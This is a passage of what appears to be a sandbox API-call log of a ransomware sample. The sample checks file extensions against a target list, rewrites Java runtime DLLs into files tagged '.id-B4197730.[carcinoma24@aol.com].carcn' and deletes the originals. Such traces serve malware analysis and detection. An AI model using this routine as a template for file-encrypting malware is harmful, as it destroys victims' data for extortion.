returned 5 [0298.470] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0298.470] lstrlenW (lpString=".pdf") returned 4 [0298.470] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.470] lstrlenW (lpString=".xls") returned 4 [0298.470] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.470] lstrlenW (lpString=".xlsx") returned 5 [0298.470] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0298.470] lstrlenW (lpString=".ppt") returned 4 [0298.470] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.470] lstrlenW (lpString=".zip") returned 4 [0298.470] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.471] lstrlenW (lpString=".rar") returned 4 [0298.471] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.471] lstrlenW (lpString=".bz2") returned 4 [0298.471] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.471] lstrlenW (lpString=".7z") returned 3 [0298.471] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.471] lstrlenW (lpString=".dbf") returned 4 [0298.471] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.471] lstrlenW (lpString=".1cd") returned 4 [0298.471] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.471] lstrlenW (lpString=".jpg") returned 4 [0298.471] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.471] lstrlenW (lpString=".doc") returned 4 [0298.471] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.471] lstrlenW (lpString=".docx") returned 5 [0298.471] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0298.471] lstrlenW (lpString=".pdf") returned 4 [0298.471] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.471] lstrlenW (lpString=".xls") returned 4 [0298.471] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.471] lstrlenW (lpString=".xlsx") returned 5 [0298.471] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0298.471] lstrlenW (lpString=".ppt") returned 4 [0298.471] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.472] lstrlenW (lpString=".zip") returned 4 [0298.472] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.472] lstrlenW (lpString=".rar") returned 4 [0298.472] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.472] lstrlenW (lpString=".bz2") returned 4 [0298.472] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.472] lstrlenW (lpString=".7z") returned 3 [0298.472] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.472] lstrlenW (lpString=".dbf") returned 4 [0298.472] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.472] lstrlenW (lpString=".1cd") returned 4 [0298.472] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.472] lstrlenW (lpString=".jpg") returned 4 [0298.472] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.472] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0298.472] lstrlenW (lpString="bci.dll") returned 7 [0298.472] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0298.473] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=16960) returned 1 [0298.473] CloseHandle (hObject=0x398) returned 1 [0298.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0298.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.473] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0298.473] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.473] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.473] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0298.474] GetLastError () returned 0x0 [0298.474] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x4240, lpOverlapped=0x0) returned 1 [0298.561] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x4250, lpOverlapped=0x0) returned 1 [0298.563] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.563] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe2, lpOverlapped=0x0) returned 1 [0298.563] SetEndOfFile (hFile=0x384) returned 1 [0298.564] CloseHandle (hObject=0x384) returned 1 [0298.564] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.564] SetEndOfFile (hFile=0x398) returned 1 [0298.565] CloseHandle (hObject=0x398) returned 1 [0298.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0298.565] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1 [0298.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.566] lstrlenW (lpString=".doc") returned 4 [0298.566] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.566] lstrlenW (lpString=".docx") returned 5 [0298.566] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0298.566] lstrlenW (lpString=".pdf") returned 4 [0298.566] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.566] lstrlenW (lpString=".xls") returned 4 [0298.566] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.566] lstrlenW (lpString=".xlsx") returned 5 [0298.566] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0298.566] lstrlenW (lpString=".ppt") returned 4 [0298.566] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.566] lstrlenW (lpString=".zip") returned 4 [0298.566] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.566] lstrlenW (lpString=".rar") returned 4 [0298.566] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.566] lstrlenW (lpString=".bz2") returned 4 [0298.566] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.566] lstrlenW (lpString=".7z") returned 3 [0298.566] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.566] lstrlenW (lpString=".dbf") returned 4 [0298.566] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.566] lstrlenW (lpString=".1cd") returned 4 [0298.566] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.567] lstrlenW (lpString=".jpg") returned 4 [0298.567] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.567] lstrlenW (lpString=".doc") returned 4 [0298.567] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.567] lstrlenW (lpString=".docx") returned 5 [0298.567] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0298.567] lstrlenW (lpString=".pdf") returned 4 [0298.567] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.567] lstrlenW (lpString=".xls") returned 4 [0298.567] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.567] lstrlenW (lpString=".xlsx") returned 5 [0298.567] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0298.567] lstrlenW (lpString=".ppt") returned 4 [0298.567] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.567] lstrlenW (lpString=".zip") returned 4 [0298.567] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.567] lstrlenW (lpString=".rar") returned 4 [0298.567] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.567] lstrlenW (lpString=".bz2") returned 4 [0298.567] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.567] lstrlenW (lpString=".7z") returned 3 [0298.567] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.567] lstrlenW (lpString=".dbf") returned 4 [0298.568] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.568] lstrlenW (lpString=".1cd") returned 4 [0298.568] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0298.568] lstrlenW (lpString=".jpg") returned 4 [0298.568] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.568] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0298.568] lstrlenW (lpString="deploy.dll") returned 10 [0298.568] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0298.569] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=587840) returned 1 [0298.569] CloseHandle (hObject=0x398) returned 1 [0298.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0298.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.569] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0298.569] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.569] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.569] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0298.570] GetLastError () returned 0x0 [0298.570] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x8f840, lpOverlapped=0x0) returned 1 [0298.598] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x8f850, lpOverlapped=0x0) returned 1 [0298.937] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.937] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe8, lpOverlapped=0x0) returned 1 [0298.937] SetEndOfFile (hFile=0x384) returned 1 [0298.937] CloseHandle (hObject=0x384) returned 1 [0298.938] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.938] SetEndOfFile (hFile=0x398) returned 1 [0298.943] CloseHandle (hObject=0x398) returned 1 [0298.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0298.944] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1 [0298.944] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.944] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.944] lstrlenW (lpString=".doc") returned 4 [0298.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.944] lstrlenW (lpString=".docx") returned 5 [0298.944] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0298.944] lstrlenW (lpString=".pdf") returned 4 [0298.944] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.944] lstrlenW (lpString=".xls") returned 4 [0298.944] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.944] lstrlenW (lpString=".xlsx") returned 5 [0298.944] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0298.945] lstrlenW (lpString=".ppt") returned 4 [0298.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.945] lstrlenW (lpString=".zip") returned 4 [0298.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.945] lstrlenW (lpString=".rar") returned 4 [0298.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.945] lstrlenW (lpString=".bz2") returned 4 [0298.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.945] lstrlenW (lpString=".7z") returned 3 [0298.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.945] lstrlenW (lpString=".dbf") returned 4 [0298.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.945] lstrlenW (lpString=".1cd") returned 4 [0298.945] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.945] lstrlenW (lpString=".jpg") returned 4 [0298.945] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.945] lstrlenW (lpString=".doc") returned 4 [0298.946] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.946] lstrlenW (lpString=".docx") returned 5 [0298.946] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0298.946] lstrlenW (lpString=".pdf") returned 4 [0298.946] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.946] lstrlenW (lpString=".xls") returned 4 [0298.946] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.946] lstrlenW (lpString=".xlsx") returned 5 [0298.946] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0298.946] lstrlenW (lpString=".ppt") returned 4 [0298.946] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.946] lstrlenW (lpString=".zip") returned 4 [0298.946] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.946] lstrlenW (lpString=".rar") returned 4 [0298.946] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.946] lstrlenW (lpString=".bz2") returned 4 [0298.946] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.946] lstrlenW (lpString=".7z") returned 3 [0298.946] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.946] lstrlenW (lpString=".dbf") returned 4 [0298.946] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.946] lstrlenW (lpString=".1cd") returned 4 [0298.946] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0298.946] lstrlenW (lpString=".jpg") returned 4 [0298.946] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.947] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0298.947] lstrlenW (lpString="dt_shmem.dll") returned 12 [0298.947] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0298.947] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=29760) returned 1 [0298.947] CloseHandle (hObject=0x398) returned 1 [0298.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20 [0298.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.948] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0298.948] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.948] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.948] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0298.949] GetLastError () returned 0x0 [0298.949] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x7440, lpOverlapped=0x0) returned 1 [0298.951] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x7450, lpOverlapped=0x0) returned 1 [0298.953] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.953] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.953] SetEndOfFile (hFile=0x384) returned 1 [0298.953] CloseHandle (hObject=0x384) returned 1 [0298.953] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.953] SetEndOfFile (hFile=0x398) returned 1 [0298.954] CloseHandle (hObject=0x398) returned 1 [0298.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0298.955] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1 [0298.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.955] lstrlenW (lpString=".doc") returned 4 [0298.955] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.955] lstrlenW (lpString=".docx") returned 5 [0298.955] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0298.955] lstrlenW (lpString=".pdf") returned 4 [0298.955] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.955] lstrlenW (lpString=".xls") returned 4 [0298.955] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.955] lstrlenW (lpString=".xlsx") returned 5 [0298.955] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0298.955] lstrlenW (lpString=".ppt") returned 4 [0298.955] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.956] lstrlenW (lpString=".zip") returned 4 [0298.956] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.956] lstrlenW (lpString=".rar") returned 4 [0298.956] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.956] lstrlenW (lpString=".bz2") returned 4 [0298.956] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.956] lstrlenW (lpString=".7z") returned 3 [0298.956] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.956] lstrlenW (lpString=".dbf") returned 4 [0298.956] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.956] lstrlenW (lpString=".1cd") returned 4 [0298.956] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.956] lstrlenW (lpString=".jpg") returned 4 [0298.956] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.956] lstrlenW (lpString=".doc") returned 4 [0298.956] lstrcmpiW (lpString1=".doc", 